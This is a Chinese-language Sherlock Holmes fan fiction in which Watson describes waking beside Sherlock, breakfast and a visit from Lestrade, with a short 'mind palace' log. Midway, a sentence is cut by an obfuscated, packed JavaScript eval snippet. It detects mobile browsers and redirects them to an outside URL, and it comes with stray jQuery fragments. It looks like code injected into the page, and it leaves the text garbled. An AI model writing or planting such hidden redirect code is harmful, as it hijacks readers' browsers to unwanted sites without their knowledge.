有些事情，在你真正经历之前，是无法预料的。
比如和夏洛克·福尔摩斯同居——这件事我早有准备。我们一起住了这么多年，我知道他会把实验用的培养皿放进冰箱，知道他会在小提琴声吵到邻居时假装听不见，知道他在思考时会躺在沙发上一动不动长达六个小时。
但和夏洛克·福尔摩斯谈恋爱——这件事，我没有任何准备。
或者说，我以为自己有所准备。毕竟，从“室友”到“男朋友”的转变，听起来不过是换了个称呼而已。我们早就生活在彼此的私人领地里，共享同一个空间，同一套作息，同一台冰箱里那些不能问来源的器官样本。
能有多大变化？
答案是：很大。但又什么都没变。
---
1月14日
今天早上我醒得比平时早。
不是因为闹钟，也不是因为噩梦——是那种奇怪的第六感，告诉你有什么事情不一样了。我睁开眼睛，看见夏洛克躺在我旁边。
这本身不是新鲜事。他失眠的时候会半夜溜进我房间，坐在窗台上发呆，有时候干脆不走了，蜷在床的另一边，像一只大型猫科动物一样占据三分之一的领地。但今天不同。今天他侧躺着，面朝着我，眼睛闭着，呼吸平稳。
他在睡觉。真正的睡觉。不是那种假装闭眼其实在脑海里整理案情的假寐。
我看着他。他的睫毛比醒着的时候显得更长，在晨光里投下淡淡的阴影。他的头发乱糟糟的，有几缕搭在额头上，像那种老电影里的睡美人。这个念头刚冒出来我就想笑——夏洛克·福尔摩斯，睡美人。他不会喜欢这个比喻。
他动了一下，眉头微皱，像是梦见了什么不太愉快的事情。也许是某个案子。也许是我昨晚说的那句“你该睡觉了”。他当时翻了个白眼，但还是跟着我进了卧室。
三分钟前，他在睡觉。现在，他在皱眉。我在犹豫要不要伸手把那缕头发拨开。
我没动。只是继续看着。
然后他睁开眼睛。
夏洛克睁眼的方式和别人不一样。大多数人是慢慢醒来，意识逐渐回归。他是一瞬间就清醒了，瞳孔聚焦，目光锐利，像是一台被按了启动键的机器。
他看着我。
“你醒了多久？”他的声音带着一点点晨起的沙哑。
“不知道。十分钟？”
“你在看我。”
“是的。”
他沉默了一秒。“为什么？”
这个问题可以有很多种解释。为什么看他？为什么醒着看？为什么不继续睡？但我知道他问的不是这些。他问的是：这有什么意义？这个行为的目的？数据采集的价值？
我想了想。
“因为我想。”我说。
他没回答。但他在被子下面的手动了一下，找到我的手，握住了。他的手指很凉——他永远手脚冰凉，不管暖气开多足——但握着的感觉很好。
我们就这么躺着。窗帘透进来的光是灰蓝色的，伦敦的早晨总是这样，像是全世界都蒙着一层薄薄的雾。外面有车经过，有鸟叫，有远处不知道哪户人家的狗在吠。
夏洛克的手指在我手心里慢慢变暖。
“你的血压比平时低。”他说。
“刚醒。”
“心率也慢。”
“刚醒。”
“瞳孔反应正常。皮肤温度——”他动了动手指，“比我高。”
“夏洛克。”
“什么？”
“闭嘴。”
他没闭嘴。但他侧过身，更近了一点，把额头抵在我肩膀上。他的头发蹭着我的下巴，有点痒。我闻到他的味道——还是那种旧书、烟草、实验室化学品混在一起的味道，但经过一夜睡眠，多了一点暖意。
我们就这样待着。不知道过了多久。哈德森太太在楼下开始活动了，能听见她的脚步声和收音机里隐隐约约的音乐。暖气片咔哒响了一声。我的手臂有点麻，因为他压着，但我不想动。
后来他开口，声音闷在我肩膀上。
“约翰。”
“嗯？”
“早晨的数据点。”
“什么？”
“之前缺失的。”他说。“人类为什么愿意和另一个人一起醒来。数据点已采集。”
我忍不住笑了。“结论呢？”
他沉默了一会儿。然后他的手臂绕过来，抱住了我的腰。动作很轻，像是试探，又像是确认。
“结论需要更多数据。”他说。
他的呼吸在我脖子旁边，温热的，均匀的。
“那就继续采集。”我说。
---
思维宫殿，同日
条目：和约翰一起醒来的早晨
·环境参数：室温17.3℃，湿度62%，光照强度随云层变化，平均值约200 lux
·生理数据：心率从入睡时的52bpm上升至醒来后的68bpm，随后在接触后稳定在61bpm
·时间长度：从清醒到移动，共47分钟。期间无对话23分钟，有对话14分钟，沉默10分钟
·触觉反馈：他的手心温度比我的高约2.1℃，握持压力适中，无不适感
·声音记录：哈德森太太的脚步声（6:47），收音机（6:49），远处犬吠（6:52），约翰的笑声（7:03）
初步分析：
此状态似乎没有实用价值。不能推进案件，不能获取信息，不能解决问题。
但——
备注：
需要更多数据。
---
约翰·华生，继续写
后来我们终于起床了。我做了早餐——吐司、煎蛋、茶。夏洛克坐在他的位置上，拿着手机翻看新闻，偶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301105|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尔抬头看我一眼。和过去无数个早晨一样。
但又不一样。
因为当我端着茶壶走过来的时候，他伸手接过去，给我倒了一杯，推到我面前。这个动作他以前从不做。不是不愿意，是根本没想到。
“你刚才在想什么？”他问。
“什么？”
“你在厨房的时候，表情变化了三次。”
我坐下来，拿起吐司咬了一口。“在想你。”
他挑了一下眉。不是那种“真的吗”的挑眉，是那种“请提供更多细节”的挑眉。
“在想，”我说，“我们以前也是这样。一起吃早餐。一起开始一天。但我以前不会想‘这是我的男朋友’。”
他沉默了一秒，像是在处理这个信息。
“现在呢？”
“现在会。”
他低头看手机。但我看见他的嘴角——只是很轻微的，很细微的——往上弯了一下。那个弧度大概只有0.3厘米，如果不是认识他这么多年，我根本不会注意到。
然后他继续看新闻，好像什么都没发生。
我继续吃吐司。茶是热的，煎蛋是溏心的，一切都刚刚好。
外面开始下雨了。伦敦的冬天总是这样，下雨，刮风，灰蒙蒙的。但在这个厨房里，有暖气，有茶，有对面坐着的那个人——那个永远不知道该怎么表达，但会在清晨握住我的手的人。
我想，这就是了。
不是什么惊天动地的告白，不是什么浪漫至极的瞬间。只是一起醒来，一起吃早餐，一起度过一个普通的早晨。
但这正是我之前无法预料的部分——
原来和夏洛克·福尔摩斯谈恋爱，不是改变，而是发现。发现那些一直存在的东西，原来可以有另一个名字。
---
下午，雷斯垂德来访
“你们俩今天怎么怪怪的？”雷斯垂德站在门口，狐疑地看着我们。
“什么意思？”夏洛克头也不抬，继续摆弄他的显微镜。
“不知道。就是……华生医生，你在笑什么？”
我摸了摸自己的脸。“我没笑。”
“你明明在笑。从开门到现在一直在笑。”
“我没有。”
雷斯垂德看向夏洛克。“他怎么了？”
夏洛克从显微镜上抬起头，看了我一眼。然后他转回去，语气平淡地说：“没什么。就是早晨的数据点。”
“……什么？”
我忍不住笑出声来。
雷斯垂德一脸茫然地看着我们俩，最后放弃了，开始讲案子。
但在他低头看笔记本的时候，我看见夏洛克又看了我一眼。只是一眼，很快，快到雷斯垂德绝对注意不到。
那个眼神里没有案件，没有数据，没有分析。
只是看着我
就像今天早上，我看着他一样。